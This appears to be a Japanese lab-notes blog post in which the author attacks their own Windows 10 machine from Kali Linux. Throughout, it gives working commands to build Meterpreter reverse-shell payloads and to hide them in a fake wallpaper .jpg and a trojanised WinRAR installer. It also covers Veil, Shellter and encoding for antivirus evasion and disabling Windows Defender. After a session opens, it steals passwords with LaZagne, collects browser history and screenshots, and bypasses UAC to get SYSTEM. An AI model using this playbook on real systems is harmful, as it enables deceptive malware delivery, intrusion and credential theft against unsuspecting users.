Excel Word ファイルにペイロードをバインド

Excel Word ファイルにペイロードをバインド

マクロ機能にペイロード実行コードを紛れ込ませることが可能

MS Office のマクロ機能でペイロード実行を支援するツール
MacroShop をインストールする

1
2
git clone https://github.com/khr0x40sh/MacroShop.git
cd MacroShop/

で Github から git で入手

使い方は

1
./macro_safe.py ../Desktop/evil3.bat /root/Desktop/script.txt

というように

1
./macro_safe.py <input batch> <output text>

というように使う

input batch は
Veil で作成した PowerShell 系ペイロード

output text は
マクロスクリプト

今回は evil3.bat のペイロードから
script.txt というマクロスクリプトを生成

内容を見たいのなら

1
gedit /root/Desktop/script.txt

で確認可能

なお、実験は試用版 Windows10 では
Excel がみあたらず
Excel Online ではマクロ作成などができなかったため
動作確認は保留

WinRAR でペイロードと画像ファイルのバインド

WinRAR でペイロードと画像ファイルのバインド

wallpaper で検索し背景画像をダウンロード

今回は
https://pixabay.com/images/search/wallpaper/
からダウンロード

次に画像ファイルをアイコンファイルへ変換

これは
https://www.icoconverter.com/
を利用

変換サイズは
64pixels

ビット深度は
8 bits

対象ファイルは 参照をクリックし
先ほどダウンロードしたファイルを選ぶ

あとは Convert をクリックすると変換されるので
Save File で保存

次にWindows10で WInRAR をインストールする

ここまでできたら KaliLinux でペイロードの作成

1
msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.1.134 -f exe -e x86/shikata_ga_nai -i 3 -b '\x00\xff' -o /root/Desktop/evil4.exe

msfvenom コマンドのオプションで
a はアーキテクチャで
-a x86 なら 32bit アーキテクチャ
e はエンコーダの種類
i はエンコーダ回数で
-i 3 なら3回
b は避ける文字

これでペイロードを作成したら

1
2
3
cp /root/Desktop/evil4.exe /var/www/html/share/
cp Downloads/wallpaper.* /var/www/html/share/
service apache2 restart

でペイロードとダウンロードしたico ファイルと画像ファイルをコピー
ダウンロードできるように apache2 の再起動

なお Windows10 で evil4.exe をダウンロードするとき
リアルタイム保護が有効だと削除される

次に
wallpaper.ico
wallpaper.jpeg
の2つを選択した状態で右クリック >
Add to archive… を選び

Archive name を
amazing_wallpaper.rar
として
Create SFX archive
にチェックをいれる
これで exe ファイルになる

Advanced タブをクリック
SFX Options をクリック

Setup タブをクリック
Run after extraction
のとこへ
evil4.exe
wallpaper.jpg
を追記

Modes タブをクリック
silient mode で hide all をクリック

Text and icon タブをクリック
browse… をクリックし
ファイル形式を All files にすると表示される
wallpaper.ico をクリック

Update タブをクリック
update mode を
Extract and update files

Overwrite mode を
Overwrite all files

これでOKをクリック

これで
amazing_wallpaper.exe ができる

これを名前の変更で
amazing_wallpaper.jpg とすると
Windows10 では拡張子が表示されないため
画像ファイルとして扱われる

ここまでできたら KaliLInux でリバースシェルの用意

1
2
3
4
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.134
exploit

これで
amazing_wallpaper.jpg
をクリックすると
画像が表示され
KaliLinux ではmeterpreter セッションが確立する

ペイロードに別ファイルの結合

ペイロードに別ファイルの結合

ターゲットにペイロードを実行させても
別の画面がでてきたり
何も実行されないと不審に思われるので
ペイロードに別ファイルを結合し2つのプログラムを実行させることで
偽装させるという手法がある

これが bind
使われる手法としては
画像ファイルにペイロードが結合されていたて
画像を表示したらペイロードが実行されるというもの

あとは
トロイの木馬にゲームと結合させてゲームが起動してプレイできるが
裏ではトロイの木馬の感染処理が進むというもの

今回は KaliLinux と WIndows10 で実験

まず
WinRaR のインストーラーを取得

https://www.win-rar.com/download.html?&L=0
から32bit のものをダウンロード

1
cp Downloads/wrar580.exe /root/Desktop/

でファイルをデスクトップへコピーしておく

次に
Shellter のインストール

1
apt install shellter

次に shellter の初期設定

1
shellter

で起動

ここからは対話形式で設定

1
Choose Operation Mode - Auto/Manual (A/M/H):

となるので自動にしたいので
A

1
PE Target:

で対象ファイルを選ぶので

/root/Desktop/wrar580.exe
を指定

1
Enable Stealth Mode? (Y/N/H):

でステルスを有効化するので Y

1
Use a listed payload or custom? (L/C/H):

となるので
リストから選ぶので L を選択

これでリストがでてくる
今回使うのは revrse_tpc なので

1
Select payload by index:

では1を入力

次に

1
SET LHOST:

となるので KaliLinux のIPを入力

次に使うポートの指定

1
SET LPORT:

となるので4444を入力

最後に

1
Press [Enter] to continue...

となったら Enter

これで作成できたので

1
2
cp Desktop/wrar580.exe /var/www/html/share/
service apache2 restart

でペイロードがダウンロードできるようにしておく

次にウイルス検知にどれくらい引っかかるかチェック

https://www.virustotal.com/ja/
へアクセスし
Choose file をクリック

wrrar580.exeを選び調査
これで70の検知システムのうち27引っかかっているということがわかる

これでファイルは作成できたので
KaliLinux でリバースシェルの待受

1
msfconsole

でMetasploit を起動

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.134
set lport 4444
exploit

で待受開始

あとは windows10 でリアルタイム保護を無効化した状態で
ブラウザで
wrrar580.exe をダウンロードし実行

これでMeterpreter セッションが確立される

Veil Framework

Veil Framework

Meterpreter セッションの確立には
ターゲット端末で実行ファイルを実行させ
アンチウイルスの検知の回避が必要

Veil Framework は
アンチウイルス回避ペイロードを生成するツール

KaliLinux にインストールするには

1
apt install veil-evasion
1
veil

で起動すると
セットアップスクリプトが実行され

1
2
3
[?] Are you sure you wish to install Veil?
 
    Continue with installation? ([y]es/[s]ilent/[N]o):

となり
インストールモードを選ぶので
s を入力し Enter

インストールが終わって
veil >
と表示されたら

1
exit

で一度終了しておく

再度

1
veil

で起動し
Veil を最新化するために

1
update

でVeil を最新化する

現在使えるツールは
Evasion
Ordnance
の2つ

アンチウイルスを回避するツールを使うなら
Evasion なので

1
use 1

ペイロードリストをみたいのなら

1
list

を実行するとみれる

今回はこの中から22のものを使うので

1
use 22

を実行

どのようなツールかは
Description の項目にかかれている

これはリバースシェルなので
KaliLinux のIPをセット

1
set lhost 192.168.1.134

次にペイロードの作成

1
generate

を実行

するとファイル名を指定できるので
evil3
としておく

1
Hit enter to continue...

となったら Enter

これで作成はできたので

1
exit

で一度終了

ここで作成できたファイルは
一度デスクトップへコピーしておく

1
cp /var/lib/veil/output/source/evil3.bat /root/Desktop/
1
2
cp /root/Desktop/evil3.bat /var/www/html/share/
service apache2 restart

でダウンロードできるようにしておく

次にリバースシェルの待受設定

1
msfconsole

で Metasploit を起動

これで Windows10 でブラウザから
evil3 をダウンロードし
実行すると
コマンドプロンプトが立ち上がり
セッションが確立される

ただしリアルタイム保護が有効化されていると
ダウンロードもできないし
実行時に検知されセッションは確立できない

windows 10 のパスワード探しとブラウザ履歴

windows 10 のパスワード探しとブラウザ履歴

LaZagne を使うため
KaliLinux で

https://github.com/AlessandroZ/LaZagne/releases
からダウンロード

1
wget https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe

でもダウンロードできる

次に

1
service apache2 restart

で apache2を再起動

1
msfconsole

で msfconsole を立ち上げ

1
2
3
4
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.134
exploit -j -z

で待受にする

次に windows10 で evil2.exe を実行

これでセッションが繋がる

1
sessions -i 1

次に

1
upload lazagne.exe

で windows10 へファイルをアップロード

1
shell

で windows10 のシェルになり

1
lazagne.exe all

を実行
ただしユーザ権限だとパスワードは発見できなかった

次にブラウザ履歴を調べる

1
use post/windows/gather/forensics/browser_history

でセッションをセット

1
run

で実行

実行すると
.msf4/local/
以下にふぁいるが作成される

今回は
snowpool_ChromeHistory_Default_History.
となった

なお対応しているのは
Firefox
Chrome
Skype
となっているため
Edge の履歴を得ることはできなかった

デフォルトでは chrome がインストールされていないので
インストールしてから実行

1
file .msf4/local/snowpool_ChromeHistory_Default_History.

でファイルを確認すると

1
.msf4/local/snowpool_ChromeHistory_Default_History.: SQLite 3.x database, last written using SQLite version 3030001

となり
SQLファイルであることがわかる

なお、隠しファイルになっているので

1
cp .msf4/local/snowpool_ChromeHistory_Default_History. .

としておくとファイルを見つけやすくなる

これの中身をみるには
show application をクリック

sqlte database  で検索し
DB Browser for  をクリック

Open Database をクリックし
ファイルの種類を All files にして対象ファイルを開く

urls を右クリック > Browse Table

これで閲覧した履歴のURLをみることができる

次にMRUの取得

1
sessions -i 1

でセッションを確立し

1
reg enumkey -k HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\

MRUは
Most Reccently Used で最近使ったリストのこと

これはターゲットの最近の行動を知るのに使う

今回の実行結果は

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Keys (36):
 
  Accent
  Advanced
  AutoplayHandlers
  BamThrottling
  BannerStore
  BitBucket
  CabinetState
  CD Burning
  CLSID
  Desktop
  Discardable
  FileExts
  HideDesktopIcons
  LogonStats
  LowRegistry
  MenuOrder
  Modules
  MountPoints2
  Package Installation
  RecentDocs
  RestartCommands
  Ribbon
  SearchPlatform
  Shell Folders
  Shutdown
  StartPage
  StartupApproved
  Streams
  StuckRects3
  Taskband
  User Shell Folders
  UserAssist
  VirtualDesktops
  VisualEffects
  Wallpapers
  SessionInfo
 
Values (12):
 
  ExplorerStartupTraceRecorded
  ShellState
  UserSignedIn
  SlowContextMenuEntries
  SIDUpdatedOnLibraries
  LocalKnownFoldersMigrated
  TelemetrySalt
  GlobalAssocChangedCounter
  FirstRunTelemetryComplete
  EdgeDesktopShortcutCreated
  AppReadinessLogonComplete
  PostAppInstallTasksCompleted

となった

Windows10 を Metasploit で攻撃

Windows10 を Metasploit で攻撃

まずリバースシェルのペイロードを作成

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.134 -f exe -o /root/Desktop/evil2.exe

でリバースシェルのペイロードを作成
なお、今回はターゲットは64bit を考慮して作成している

次にペイロードを外部アクセスできるディレクトリへ移動

1
cp /root/Desktop/evil2.exe /var/www/html/share/

これで apache2 を起動

1
service apache2 restart

次に windows10 の仮想マシンを起動し
ブラウザで
http://KaliLinuxのIPアドレス/share/
へアクセスし
evil2.exe をクリックし保存をクリックしても
Windows Defender により削除されてしまう

このためスタートメニューで設定をクリック

更新とセキュリティをクリック

Windows セキュリティをクリックし
Windows セキュリティを開くをクリック

ウィルスと脅威の防止をクリック

ウィルスと脅威の防止の設定の
設定の管理をクリック

リアルタイム保護オンをクリック

デバイスの変更の許可を聞かれるので
はいをクリック

これでリアルタイム保護が無効化されるが
一定時間がすぎると自動で有効化に戻る

この状態で再度

ブラウザで
http://KaliLinuxのIPアドレス/share/
へアクセスし
evil2.exe をクリックし保存をクリック
これで保存ができる

ここまでできたら KaliLinux でリバースシェルの待受

1
msfconsole

で msf コンソールを起動

まずハンドラーモジュールを使うので

1
use exploit/multi/handler

次にペイロードをセット

1
set payload windows/x64/meterpreter/reverse_tcp

次にIPアドレスの設定

1
set LHOST 192.168.1.134

次 exploit の実行をするけど
今回は
j オプションにより ジョブとしてモジュールを起動
z オプションによりセッションをバックグラウンドにするように設定

1
exploit -j -z

この状態で Windows10 で evil2.exe を実行

すると

1
2
Sending stage (206403 bytes) to 192.168.1.165
[*] Meterpreter session 1 opened (192.168.1.134:4444 -> 192.168.1.165:49830) at 2019-12-31 04:22:04 +0900

となりセッションが確率されたのがわかる

確認のため
Enter でメッセージから msf コンソールにして

1
sessions -i

とすると現在確立されているセッションを表示できる

ここまでできたら
windows10 で
ダウンロードフォルダへ
新規作成 > テキストドキュメント

password
を作成

なお、windows ではテキストドキュメントでは
.txt が自動でつく

次に KaliLinux でセッション1を指定

1
sessions -i 1

セッションが確立されている状態で

1
 

を実行すると一覧がみれる

なお、windows10 で evils2.exe を実行するときに
ブラウザから起動したものか、もしくは
ダウンロードしてから実行しているかによりファイルパスが変わるので注意

ブラウザから実行していると
C:\Users\snowpool\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads
となり
ダウンロードしてから実行だと
C:\Users\snowpool\Downloads
となる

なお windows10 のファイルを
KaliLinux にダウンロードすることも可能
これは
download コマンドを使う

今回 passwords.txt をダウンロードするなら

1
download passwords.txt

これでホームディレクトリにダウンロードされる

また現在開いている windows 画面のスクリーンショットもとれる
これは
screenshot コマンドを使う

1
screenshot

撮影した画像は
ホームディレクトリに保存される

なおコマンドから表示することもできるが feh が必要

1
apt install feh -y

でインストールしておき

撮影したスクショのファイル名がgnnIADFL.jpegなら

1
feh gnnIADFL.jpeg

とすれば表示することができる

なお -g オプションを使うことで画像の大きさを指定できるが
縮小されて表示されるわけではない

それよりも
Raspberry Pi 3で17.3インチのデジタルフォトフレームを作った!

にあるように
-F オプションでフルスクリーン表示にしたほうが見やすい

なお、画面がそれでいっぱいになるので
alt + tab で端末に移動して
ctrl +c で動作停止すると画像が消える

次にSYSTEM権限の取得

1
getsystem

としてもUAC機能を回避していないため失敗となる

このためUAC機能を回避するモジュールを探す

1
background

で一度バックグラウンドにしておき

1
search bypassuac

で検索

ここから探すときには
Rank excellent
日付が新しいもの
を使うようにする

今回は
bypassuac_sluihijack
を使用

1
use exploit/windows/local/bypassuac_sluihijack

で使用するペイロードをセット

設定のため

1
show targets

を実行すると

1
2
3
4
Id  Name
--  ----
0   Windows x86
1   Windows x64

となるので

1
set TARGET 1

で 64bit としてセット

1
set session 1

でセッションを設定

再度ペイロードをセット

1
set payload windows/x64/meterpreter/reverse_https
1
set LHOST 192.168.1.134

でKaliLinux のIPをセット

1
show options

で設定を確認したら

1
exploit

で実行

なお時間がかかりすぎると
windows のリアルタイム監視が復旧し
自動的にセッションが閉じられるので注意

これで

1
getsystem

を実行し

1
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

となれば権限奪取成功

なお、バックドアの作成などについては
リアルタイム保護で削除される可能性があるので
今回は行っていない